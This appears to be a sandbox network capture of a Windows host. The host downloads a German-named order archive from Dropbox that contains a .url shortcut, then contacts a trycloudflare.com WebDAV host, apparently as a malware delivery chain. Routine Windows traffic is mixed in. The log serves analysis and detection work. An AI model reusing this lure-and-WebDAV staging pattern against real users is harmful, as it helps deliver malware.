Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49699	162.125.66.15	443	5700	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:15:45 UTC	769	OUT	GET /scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0 HTTP/1.1 Host: dl.dropboxusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:15:46 UTC	1096	IN	HTTP/1.1 200 OK Content-Type: application/zip Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: inline; filename="BestellungVRG020002.zip"; filename*=UTF-8''BestellungVRG020002.zip Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=blockserver-usercontent ; sandbox allow-forms allow-scripts allow-top-navigation allow-popups Content-Security-Policy: form-action 'none' ; report-uri https://www.dropbox.com/csp_log?policy_name=blockserver-noscript ; script-src 'none' Etag: 1729837910691184n Pragma: public Set-Cookie: uc_session=c85kxU3bbXYG6nUcgmLermYMGBJoNBIoU9u0OMWdFxjLWtiJxGJEhzSylvxWmYAf; Domain=dropboxusercontent.com; HttpOnly; Path=/; SameSite=None; Secure X-Content-Type-Options: nosniff X-Server-Response-Time: 684 Date: Fri, 25 Oct 2024 08:15:46 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Robots-Tag: noindex, nofollow, noimageindex Content-Length: 524 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 6147f054f3794f0bb340b34e0f7fcd13 Connection: close
2024-10-25 08:15:46 UTC	524	IN	Data Raw: 50 4b 03 04 0a 00 00 00 00 00 eb bb 58 59 00 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 42 65 73 74 65 6c 6c 75 6e 67 56 52 47 30 32 30 30 30 32 2f 50 4b 03 04 14 00 00 00 08 00 3b bb 58 59 06 c0 f4 89 98 00 00 00 b0 00 00 00 2b 00 00 00 42 65 73 74 65 6c 6c 75 6e 67 56 52 47 30 32 30 30 30 32 2f 42 65 73 74 65 6c 6c 75 6e 67 56 52 47 30 32 30 30 30 32 2e 75 72 6c 35 8e c1 0a 82 40 14 00 ef 0b fb 27 ad ae 25 81 c1 42 91 41 92 87 50 c2 83 74 90 ed 89 4b ea 93 dd a7 20 d1 bf 27 54 73 18 e6 38 65 d2 13 d8 1e 28 6f d0 92 1e e9 ce d9 2d 4b 55 6d 5a d8 f9 3e 35 d0 81 d0 b6 d2 4f 01 9d 71 ce 60 ef c4 00 d6 0d a0 c9 4c e0 3c b2 b3 6e 71 7c d4 6d 65 c1 d3 d8 ed f3 3c f5 e3 6a 2a 8a 22 43 24 3f 3e 71 96 c4 a9 71 a4 38 3b 23 5d 60 56 92 b3 f2 25 a5 5c 07 e1 41 8a Data Ascii: PKXYBestellungVRG020002/PK;XY+BestellungVRG020002/BestellungVRG020002.url5@'%BAPtK 'Ts8e(o-KUmZ>5Oq`L<nq\|me<j*"C$?>qq8;#]`V%\A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49703	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:15:55 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+burwd2gSRS3DpE&MD=F+m3pX57 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-25 08:15:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7e894c66-c691-450c-9ed1-8459cf718ba1 MS-RequestId: aee4ec84-d55e-4be3-8994-3b583f6aeb84 MS-CV: eSqdj+sYQEC4QeXz.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 25 Oct 2024 08:15:54 GMT Connection: close Content-Length: 24490
2024-10-25 08:15:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-25 08:15:55 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:00 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-25 08:16:00 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=203342 Date: Fri, 25 Oct 2024 08:16:00 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	58412	173.223.108.114	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:01 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-25 08:16:01 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0DZ+oYgAAAABSxwJpMgMuSLkfS640ajfFQVRBRURHRTEyMTkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=152773 Date: Fri, 25 Oct 2024 08:16:01 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-25 08:16:01 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.17	58413	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:25 UTC	141	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:25 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:16:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 8d80c3ad08c26b67-DFW CF-Cache-Status: DYNAMIC Allow: OPTIONS, HEAD, GET, PROPFIND, DELETE, COPY, MOVE, PROPPATCH, LOCK, UNLOCK dav: 1,2 ms-author-via: DAV Server: cloudflare
2024-10-25 08:16:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	58414	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:30 UTC	171	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:30 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:16:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 8d80c3cd1e212e69-DFW CF-Cache-Status: DYNAMIC Allow: OPTIONS, HEAD, GET, PROPFIND, DELETE, COPY, MOVE, PROPPATCH, LOCK, UNLOCK dav: 1,2 ms-author-via: DAV Server: cloudflare
2024-10-25 08:16:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	58415	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:31 UTC	201	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:31 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:31 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 781 Connection: close CF-Ray: 8d80c3d58b084762-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:31 UTC	781	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 33 2d 31 30 2d 32 35 54 31 34 3a 33 33 3a 35 35 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 71 75 6f 74 61 2d 75 73 65 64 2d 62 79 74 65 73 3e 37 35 37 38 36 33 36 32 38 38 30 3c 2f 44 3a Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:propstat><D:prop><D:resourcetype><D:collection/></D:resourcetype><D:creationdate>2023-10-25T14:33:55Z</D:creationdate><D:quota-used-bytes>75786362880</D:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	58416	40.126.31.73	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-25 08:16:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 08:16:32 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 08:15:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: 44ee7631-26e1-4311-a7af-b93ba52e5a98 PPServer: PPV: 30 H: SN1PEPF0003F5BE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 08:16:31 GMT Connection: close Content-Length: 11392
2024-10-25 08:16:32 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	58417	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:32 UTC	201	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:32 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:32 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 781 Connection: close CF-Ray: 8d80c3db89e40bf7-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:32 UTC	781	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 33 2d 31 30 2d 32 35 54 31 34 3a 33 33 3a 35 35 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 71 75 6f 74 61 2d 75 73 65 64 2d 62 79 74 65 73 3e 37 35 37 38 36 33 36 32 38 38 30 3c 2f 44 3a Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:propstat><D:prop><D:resourcetype><D:collection/></D:resourcetype><D:creationdate>2023-10-25T14:33:55Z</D:creationdate><D:quota-used-bytes>75786362880</D:

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.17	58418	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:33 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-10-25 08:16:33 UTC	209	IN	HTTP/1.1 400 Bad Request X-MSEdge-Ref: Ref A: 20F89B11CF9D40D780AC898AC70B8093 Ref B: DFW311000108019 Ref C: 2024-10-25T08:16:33Z Date: Fri, 25 Oct 2024 08:16:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	58420	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:33 UTC	203	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 44 45 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 74 68 65 6d 65 2d 63 72 61 63 6b 2d 65 6d 69 73 73 69 6f 6e 73 2d 70 65 72 73 70 65 63 74 69 76 65 73 2e 74 72 79 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 0d 0a 0d 0a Data Ascii: PROPFIND /DE HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:16:33 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:16:33 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 781 Connection: close CF-Ray: 8d80c3e14dbc699c-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:16:33 UTC	781	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 44 45 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 34 2d 31 30 2d 32 33 54 30 39 3a 33 36 3a 30 34 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 71 75 6f 74 61 2d 75 73 65 64 2d 62 79 74 65 73 3e 37 35 37 38 36 33 36 32 38 38 30 3c Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/DE/</D:href><D:propstat><D:prop><D:resourcetype><D:collection/></D:resourcetype><D:creationdate>2024-10-23T09:36:04Z</D:creationdate><D:quota-used-bytes>75786362880<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	58419	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:16:33 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+burwd2gSRS3DpE&MD=F+m3pX57 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-25 08:16:33 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7d4cf7b1-46ba-4559-aae0-756549d36bc4 MS-RequestId: cbcfbd27-9eae-47c7-bd1a-21e894898cc8 MS-CV: DI7L/L/eeEWt9dZQ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 25 Oct 2024 08:16:33 GMT Connection: close Content-Length: 30005
2024-10-25 08:16:33 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b 